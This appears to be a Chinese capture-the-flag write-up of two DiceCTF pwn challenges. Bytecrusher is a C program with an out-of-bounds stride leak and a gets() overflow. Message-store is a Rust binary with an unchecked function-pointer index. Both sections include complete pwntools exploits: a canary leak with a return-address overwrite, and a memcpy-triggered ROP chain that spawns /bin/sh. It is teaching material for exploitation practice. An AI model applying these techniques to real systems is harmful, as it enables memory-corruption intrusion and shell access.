较为简单的 2 题,漏洞点都很明显,其中 bytecrusher 是签到题,message-store 是 Rust,需要费心思找 gadgets

1 bytecrusher

给了源码,基本功能就是做 16 轮数据压缩,每一轮都是读最多 32 字节到 input_buf,然后根据输入的 rate 作为步长将 input_buf 中的数据拷贝到 crushed,然后输出 crushed,接着再读一段输入到 buf,结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void admin_portal() {
puts("Welcome dicegang admin!");
FILE *f = fopen("flag.txt", "r");
if (f) {
char read;
while ((read = fgetc(f)) != EOF) {
putchar(read);
}
fclose(f);
} else {
puts("flag file not found");
}
}

void crush_string(char *input, char *output, int rate, int output_max_len) {
if (rate < 1) rate = 1;
int out_idx = 0;
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
output[out_idx++] = input[i];
}
output[out_idx] = '\0';
}

void free_trial() {
char input_buf[32];
char crushed[32];

for (int i=0; i<16; i++) {
printf("Trial %d/16:\n", i+1);
printf("Enter a string to crush:\n");
fgets(input_buf, sizeof(input_buf), stdin);


printf("Enter crush rate:\n");
int rate;
scanf("%d", &rate);

if (rate < 1) {
printf("Invalid crush rate, using default of 1.\n");
rate = 1;
}

printf("Enter output length:\n");
int output_len;
scanf("%d", &output_len);

if (output_len > sizeof(crushed)) {
printf("Output length too large, using max size.\n");
output_len = sizeof(crushed);
}

// read until newline or eof
int c;
while ((c = getchar()) != '\n' && c != EOF);

crush_string(input_buf, crushed, rate, output_len);


printf("Crushed string:\n");
puts(crushed);
}
}

void get_feedback() {
char buf[16];
printf("Enter some text:\n");
gets(buf);
printf("Your feedback has been recorded and totally not thrown away.\n");
}


#define COMPILE_ADMIN_MODE 0

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n");
printf("We are happy to offer sixteen free trials of our premium service.\n");

free_trial();
get_feedback();

printf("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n");

if (COMPILE_ADMIN_MODE) {
admin_portal();
}

return 0;
}

保护全开,有 2 个漏洞点

第 1 个漏洞点是数组越界,rate 没有设置上界,并且以 rate 作为步长访问栈上的 input_buf,这里就可以泄露 canary 和 saved rip

1
2
3
4
5
6
7
8
void crush_string(char *input, char *output, int rate, int output_max_len) {
if (rate < 1) rate = 1;
int out_idx = 0;
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
output[out_idx++] = input[i];
}
output[out_idx] = '\0';
}

第 2 个漏洞点是栈溢出,这里覆盖返回地址 return 到 admin_portal 函数就可以拿 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void get_feedback() {
char buf[16];
printf("Enter some text:\n");
gets(buf);
printf("Your feedback has been recorded and totally not thrown away.\n");
}

void admin_portal() {
puts("Welcome dicegang admin!");
FILE *f = fopen("flag.txt", "r");
if (f) {
char read;
while ((read = fgetc(f)) != EOF) {
putchar(read);
}
fclose(f);
} else {
puts("flag file not found");
}
}

EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

elf = ELF("./bytecrusher")

context(os=elf.os, arch=elf.arch, log_level="debug")

def trial(string, crush_rate, output_length):
io.sendlineafter(b"Enter a string to crush:\n", string)
io.sendlineafter(b"Enter crush rate:\n", crush_rate)
io.sendlineafter(b"Enter output length:\n", output_length)

def exploit():
canary_bytes = b'\x00'
for i in range(7):
rate = 0x48 + i + 1
trial(b"A", str(rate).encode(), b"32")
io.recvuntil(b"Crushed string:\n")
canary_bytes += io.recvline()[1:2]
canary = u64(canary_bytes)
log.info("canary: " + hex(canary))

saved_rip_bytes = b''
for i in range(9):
rate = 0x58 + i
trial(b"A", str(rate).encode(), b"32")
io.recvuntil(b"Crushed string:\n")
saved_rip_bytes += io.recvline()[1:2]
saved_rip_bytes = saved_rip_bytes[:6] + b'\x00\x00'
saved_rip = u64(saved_rip_bytes)
log.info("saved_rip: " + hex(saved_rip))

elf_base = saved_rip - 0x15EC
admin_portal = elf_base + 0x12A9

payload = b"A" * 0x18 + p64(canary) + b"B" * 8 + p64(admin_portal)
io.sendlineafter(b"Enter some text:\n", payload)

io.interactive()


if __name__ == "__main__":
if args.REMOTE:
io = remote("bytecrusher.chals.dicec.tf", 1337, timeout=10)
io.recvuntil(b"proof of work:\n")
cmd = io.recvline().strip().decode()
solution = os.popen(cmd).read().strip()
io.sendline(solution.encode())
elif args.GDB:
io = gdb.debug(elf.path)
else:
io = process(elf.path)

exploit()

2 message-store

Rust 写的程序,没开 PIE 没有 canary

主函数是菜单循环,主要有 3 个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// Main menu loop - handles user input for 4 options: 1=set_message, 2=set_message_color, 3=print_message, 4=exit
__int64 challenge::main()
{
__int64 v0; // rbx
char v2; // r12
char v3; // al
char v4; // r13
__int64 v5; // rax
char v6; // [rsp+Fh] [rbp-59h] BYREF
_OWORD v7[5]; // [rsp+10h] [rbp-58h] BYREF

challenge::input_parsed::<u8>(v7, aMessageStorer1, 89LL);
v0 = *((_QWORD *)&v7[0] + 1);
if ( !LOBYTE(v7[0]) )
{
v2 = BYTE1(v7[0]);
v3 = BYTE2(v7[0]);
while ( 1 )
{
v4 = v3;
if ( (v2 & 1) != 0 )
break;
LABEL_13:
std::io::stdio::_eprint();
LABEL_5:
challenge::input_parsed::<u8>(v7, aMessageStorer1, 89LL);
v3 = BYTE2(v7[0]);
if ( LOBYTE(v7[0]) )
v3 = v4;
v2 = BYTE1(v7[0]);
if ( LOBYTE(v7[0]) )
return *((_QWORD *)&v7[0] + 1);
}
v6 = v3;
switch ( v3 )
{
case 1:
v5 = set_message();
if ( !v5 )
goto LABEL_5;
goto LABEL_17;
case 2:
v5 = set_message_color_vuln();
if ( !v5 )
goto LABEL_5;
LABEL_17:
v0 = v5;
break;
case 3:
print_message_vuln();
goto LABEL_5;
case 4:
v0 = 0LL;
break;
default:
<core::fmt::rt::Argument>::new_display::<u8>(v7, &v6);
v7[1] = v7[0];
goto LABEL_13;
}
}
return v0;
}

1) Set Message

challenge::BUFFER 也就是 0x2F9E38 上写最多 0x1000 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 challenge::set_message()
{
__int64 result; // rax
__int64 v1; // rsi
__int64 v2; // [rsp+8h] [rbp-20h] BYREF
__int64 v3; // [rsp+10h] [rbp-18h]
unsigned __int64 v4; // [rsp+18h] [rbp-10h]

challenge::input_bytes(&v2, aNewMessage, 13LL);
result = v3;
if ( !__OFSUB__(-v2, 1LL) )
{
if ( v4 <= 0x1000 )
{
v1 = v4;
core::slice::copy_from_slice_impl::<u8>(&challenge::BUFFER, v4, v3, v4, &off_2F08D0);
}
else
{
v1 = 35LL;
std::io::stdio::_eprint();
}
<alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(&v2);
<alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(&v2, v1);
return 0LL;
}
return result;
}

2) Set Message Color

读取一个 index 存入 challenge::COLOR 中,没有检查大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// CRITICAL VULNERABILITY: Sets COLOR to user input WITHOUT validation! No bounds checking on the color index
__int64 challenge::set_message_color()
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-10h] BYREF
__int64 v2; // [rsp+10h] [rbp-8h]

challenge::input_parsed::<usize>(&v1, aMessageColors0, 93LL);
result = v2;
if ( v1 != 2 )
{
if ( (v1 & 1) != 0 )
challenge::COLOR = v2;
return 0LL;
}
return result;
}

3) Print Message

根据之前保存在 challenge::COLOR 中的 index,执行 color_function_ptr_array[challenge::COLOR] 中存放的染色函数,最后 display

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// CRITICAL VULNERABILITY: Uses COLOR as index into function pointer array WITHOUT bounds checking! COLOR*8 offset from 0x2f08e8
__int64 challenge::print_message()
{
__int64 (__fastcall *v0)(); // r14
__int64 v1; // rax
_QWORD v3[3]; // [rsp+0h] [rbp-78h] BYREF
_BYTE v4[40]; // [rsp+18h] [rbp-60h] BYREF
__int128 v5; // [rsp+40h] [rbp-38h] BYREF
__int128 v6; // [rsp+58h] [rbp-20h] BYREF

<alloc::string::String>::from_utf8_lossy();
v0 = color_function_ptr_array[challenge::COLOR];// Vulnerable instruction: mov r14, [rcx+rax*8] where rax=COLOR. Can be exploited to call arbitrary functions
v1 = <alloc::borrow::Cow<str> as core::ops::deref::Deref>::deref(v3, &challenge::BUFFER);
((void (__fastcall *)(_BYTE *, __int64))v0)(v4, v1);
<core::fmt::rt::Argument>::new_display::<colored::ColoredString>(&v6, v4);
v5 = v6;
std::io::stdio::_print();
<alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(v4);
<alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(v4, &v5);
if ( !__OFSUB__(0LL, v3[0]) )
{
<alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(v3);
<alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(v3, &v5);
}
return 0LL;
}

这里就发生了越界访问,本来是只提供了 7 种颜色的染色函数,我们可以输入很大的 index,访问到 GOT 表上的函数,具体计算方法是 0x2F08E8 + index * 8

1
2
3
4
5
6
7
8
9
.data.rel.ro:00000000002F08E8 color_function_ptr_array dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_
.data.rel.ro:00000000002F08E8 ; DATA XREF: print_message_vuln+26↑o
.data.rel.ro:00000000002F08E8 ; print_message_vuln+2D↑r ; <&str as colored::Colorize>::red
.data.rel.ro:00000000002F08F0 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize5greenB6_ ; <&str as colored::Colorize>::green
.data.rel.ro:00000000002F08F8 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize6yellowB6_ ; <&str as colored::Colorize>::yellow
.data.rel.ro:00000000002F0900 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize4blueB6_ ; <&str as colored::Colorize>::blue
.data.rel.ro:00000000002F0908 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize7magentaB6_ ; <&str as colored::Colorize>::magenta
.data.rel.ro:00000000002F0910 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize4cyanB6_ ; <&str as colored::Colorize>::cyan
.data.rel.ro:00000000002F0918 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize5whiteB6_ ; <&str as colored::Colorize>::white

但是注意传入的 2 个参数

rdi 是栈上地址 v4,即 $rsp + 0x18

rsiCow 的返回结果,这里要注意前面的 from_utf8_lossy,它将用 U+FFFD 替换任何无效的 UTF-8 序列,也就是说 challenge::BUFFER 中不能存在大于 0x7f 的字节,否则就将其替换成 EF BF BD,challenge::BUFFER 中全是符合要求 (<= 0x7f) 的字节时,rsi 就是 &challenge::BUFFER == 0x2F9E38

GOT 表上有 execvpposix_spawn 等看起来可用的函数,但是直接 call 它们都会出错,我们需要控制 rdi 才能拿 shell

然后发现 GOT 表上有 memcpy,并且 call 时 rdx == 0x1000rdi 是栈上地址,rsi 内容可控,所以考虑栈溢出打 ROP,需要找合适的 gadgets 控制 rdi 指向 /bin/sh\x00,并且我们发送内容不能有大于 0x7f 的字节

下面是一种可行的 ROP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rbp_value = 0x206c36

# 0x00000000002d3e57 : inc esi ; mov qword ptr [rdi], rsi ; mov rax, rdi ; pop rbp ; ret
# 0x00000000002d3e59 : mov qword ptr [rdi], rsi ; mov rax, rdi ; pop rbp ; ret
mov_rdi_rsi_pop_rbp = 0x2d3e59
# 0x0000000000243431 : pop rsi ; ret
pop_rsi = 0x243431
# 0x00000000002e4413 : or rsi, r8 ; mov rax, rsi ; ret
# 0x00000000002e4416 : mov rax, rsi ; ret
mov_rax_rsi = 0x2e4416
# 0x00000000002a6602 : syscall
syscall = 0x2a6602

payload = b"\x00" * 0x60
payload += p64(pop_rsi) + b"/bin/sh\x00" # rsi = "/bin/sh\x00"
payload += p64(mov_rdi_rsi_pop_rbp) + p64(rbp_value) # [rdi] = "/bin/sh\x00"
payload += p64(pop_rsi) + p64(0x3B)
payload += p64(mov_rax_rsi) # rax = 0x3B
payload += p64(pop_rsi) + p64(0) # rsi = 0
payload += p64(syscall) # execve("/bin/sh", 0, 0)

下面是部分 gdb 调试截图

call memcpy

call_memcpy

return

return

execve

execve

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

elf = ELF("./challenge")

context(os=elf.os, arch=elf.arch, log_level="debug")

def exploit():
ptr_array = 0x2F08E8
memcpy_ptr = 0x2F71C8
rbp_value = 0x206c36

# 0x00000000002d3e57 : inc esi ; mov qword ptr [rdi], rsi ; mov rax, rdi ; pop rbp ; ret
# 0x00000000002d3e59 : mov qword ptr [rdi], rsi ; mov rax, rdi ; pop rbp ; ret
mov_rdi_rsi_pop_rbp = 0x2d3e59
# 0x0000000000243431 : pop rsi ; ret
pop_rsi = 0x243431
# 0x00000000002e4413 : or rsi, r8 ; mov rax, rsi ; ret
# 0x00000000002e4416 : mov rax, rsi ; ret
mov_rax_rsi = 0x2e4416
# 0x00000000002a6602 : syscall
syscall = 0x2a6602

payload = b"\x00" * 0x60
payload += p64(pop_rsi) + b"/bin/sh\x00" # rsi = "/bin/sh\x00"
payload += p64(mov_rdi_rsi_pop_rbp) + p64(rbp_value) # [rdi] = "/bin/sh\x00"
payload += p64(pop_rsi) + p64(0x3B)
payload += p64(mov_rax_rsi) # rax = 0x3B
payload += p64(pop_rsi) + p64(0) # rsi = 0
payload += p64(syscall) # execve("/bin/sh", 0, 0)

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"New Message? ", payload)

offset = (memcpy_ptr - ptr_array) // 8
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", str(offset).encode())
io.sendlineafter(b"> ", b"3")

io.interactive()


if __name__ == "__main__":
if args.REMOTE:
io = remote("message-store.chals.dicec.tf", 1337, timeout=10)
io.recvuntil(b"proof of work:\n")
cmd = io.recvline().strip().decode()
solution = os.popen(cmd).read().strip()
io.sendline(solution.encode())
elif args.GDB:
io = gdb.debug(elf.path, gdbscript="b *0x243a76")
else:
io = process(elf.path)

exploit()